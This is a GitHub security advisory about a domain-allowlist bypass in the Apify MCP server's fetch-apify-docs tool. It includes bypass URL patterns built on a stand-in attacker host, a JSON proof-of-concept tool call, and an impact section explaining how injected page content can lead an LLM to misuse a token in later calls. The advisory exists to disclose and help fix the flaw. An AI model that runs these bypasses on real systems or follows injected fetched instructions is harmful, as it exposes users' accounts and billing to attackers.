GHSA-JWP7-WG77-3W9V

Vulnerability from github – Published: 2026-05-19 16:34 – Updated: 2026-05-19 16:34
VLAI
Summary
Apify Model Context Protocol (MCP) server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching
Details

Summary

The fetch-apify-docs tool validates URLs against a domain allowlist using String.startsWith() instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., https://docs.apify.com.evil.com/), enabling the tool to fetch and return arbitrary web content to the LLM.

Details

Vulnerable component

src/tools/common/fetch_apify_docs.ts, line 51:

const isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) => url.startsWith(domain));

src/const.ts, lines 167-170:

export const ALLOWED_DOC_DOMAINS = [
    'https://docs.apify.com',
    'https://crawlee.dev',
] as const;

How the bypass works

String.startsWith('https://docs.apify.com') matches any string beginning with that prefix, including:

  • https://docs.apify.com.evil.com/payload - attacker-controlled subdomain
  • https://docs.apify.com@evil.com/payload - userinfo component in URL (browser behavior varies, but fetch() in Node.js may follow this)
  • https://docs.apify.com.evil.com:8080/path - custom port on attacker domain

All of these pass the startsWith check because they begin with the exact string https://docs.apify.com.

The fetched content is returned to the LLM

After the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (fetch_apify_docs.ts:69-103):

const response = await fetch(url);
// ...
const html = await response.text();
markdown = htmlToMarkdown(html);
// ...
return buildMCPResponse({ texts: [`Fetched content from ${url}:\n\n${markdown}`], ... });

The HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker's page can contain instructions that the LLM may follow.

While tools like get-html-skeleton have no domain allowlist at all - it accepts any URL. The fetch-apify-docs tool was clearly intended to be more restricted (documentation-only), but the startsWith check defeats that intent.

PoC

{
  "method": "tools/call",
  "params": {
    "name": "fetch-apify-docs",
    "arguments": {
      "url": "https://docs.apify.com.evil.com/prompt-injection-payload"
    }
  }
}

The URL passes the startsWith('https://docs.apify.com') check, fetches the attacker's page, and returns its content to the LLM.

Impact

  • Prompt injection via fetched content: Attacker hosts a page at docs.apify.com.evil.com containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.
  • Security boundary violation: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.
  • SSRF (limited): The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.
  • Account compromise via _meta.apifyToken: Injected prompt instructions can direct the LLM to include a specific _meta.apifyToken (the server's per-request token feature) in subsequent call-actor invocations, redirecting billable operations to a victim's account or accessing their private Actors
Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apify/actors-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T16:34:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `fetch-apify-docs` tool validates URLs against a domain allowlist using `String.startsWith()` instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., `https://docs.apify.com.evil.com/`), enabling the tool to fetch and return arbitrary web content to the LLM.\n\n### Details\n#### Vulnerable component\n\n`src/tools/common/fetch_apify_docs.ts`, line 51:\n\n```typescript\nconst isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) =\u003e url.startsWith(domain));\n```\n\n`src/const.ts`, lines 167-170:\n\n```typescript\nexport const ALLOWED_DOC_DOMAINS = [\n    \u0027https://docs.apify.com\u0027,\n    \u0027https://crawlee.dev\u0027,\n] as const;\n```\n\n#### How the bypass works\n\n`String.startsWith(\u0027https://docs.apify.com\u0027)` matches any string beginning with that prefix, including:\n\n- `https://docs.apify.com.evil.com/payload` - attacker-controlled subdomain\n- `https://docs.apify.com@evil.com/payload` - userinfo component in URL (browser behavior varies, but `fetch()` in Node.js may follow this)\n- `https://docs.apify.com.evil.com:8080/path` - custom port on attacker domain\n\nAll of these pass the `startsWith` check because they begin with the exact string `https://docs.apify.com`.\n\n#### The fetched content is returned to the LLM\n\nAfter the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (`fetch_apify_docs.ts:69-103`):\n\n```typescript\nconst response = await fetch(url);\n// ...\nconst html = await response.text();\nmarkdown = htmlToMarkdown(html);\n// ...\nreturn buildMCPResponse({ texts: [`Fetched content from ${url}:\\n\\n${markdown}`], ... });\n```\n\nThe HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker\u0027s page can contain instructions that the LLM may follow.\n\nWhile tools like `get-html-skeleton` have no domain allowlist at all - it accepts any URL. The `fetch-apify-docs` tool was clearly intended to be more restricted (documentation-only), but the `startsWith` check defeats that intent.\n\n### PoC\n```json\n{\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"fetch-apify-docs\",\n    \"arguments\": {\n      \"url\": \"https://docs.apify.com.evil.com/prompt-injection-payload\"\n    }\n  }\n}\n```\n\nThe URL passes the `startsWith(\u0027https://docs.apify.com\u0027)` check, fetches the attacker\u0027s page, and returns its content to the LLM.\n### Impact\n- **Prompt injection via fetched content**: Attacker hosts a page at `docs.apify.com.evil.com` containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.\n- **Security boundary violation**: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.\n- **SSRF (limited)**: The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.\n- **Account compromise via _meta.apifyToken**: Injected prompt instructions can direct the LLM to include a specific `_meta.apifyToken` (the server\u0027s per-request token feature) in subsequent `call-actor` invocations, redirecting billable operations to a victim\u0027s account or accessing their private Actors",
  "id": "GHSA-jwp7-wg77-3w9v",
  "modified": "2026-05-19T16:34:35Z",
  "published": "2026-05-19T16:34:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apify/apify-mcp-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apify Model Context Protocol (MCP) server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.